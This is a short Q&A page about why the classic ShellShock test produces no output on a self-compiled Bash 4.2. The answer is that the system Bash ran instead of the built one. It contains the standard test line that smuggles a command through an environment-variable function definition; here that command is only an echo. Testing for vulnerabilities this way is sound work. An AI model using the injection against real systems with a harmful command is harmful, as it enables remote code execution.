bash - 为什么我无法在 Bash 4.2.0 上重现 ShellShock Bash 错误？

Question

我正在了解 ShellShock 漏洞，我想测试旧版本的 Bash。我从GNU 网站
下载了 Bash 4.2 。提取内容后，我根据GNU 指南编译它，如下所示：

bash ./configure
make

完成后，我运行以下漏洞利用来查看 bash 是否易受攻击：

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"  

但它没有打印“易受攻击”，这意味着它不是易受攻击的，我不明白为什么：

root@ubuntu:~/Desktop/bash-4.2# ./bash
root@ubuntu:~/Desktop/bash-4.2# echo $BASH_VERSION
4.2.0(1)-release
root@ubuntu:~/Desktop/bash-4.2# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
root@ubuntu:~/Desktop/bash-4.2# 

Answer 1

Use ./bash instead of bash; your current attempt ends up executing the default system Bash instance, which should hopefully indeed not be vulnerable.

As a rule, the current directory is not included in the PATH, and should not be, for reasons exactly like this.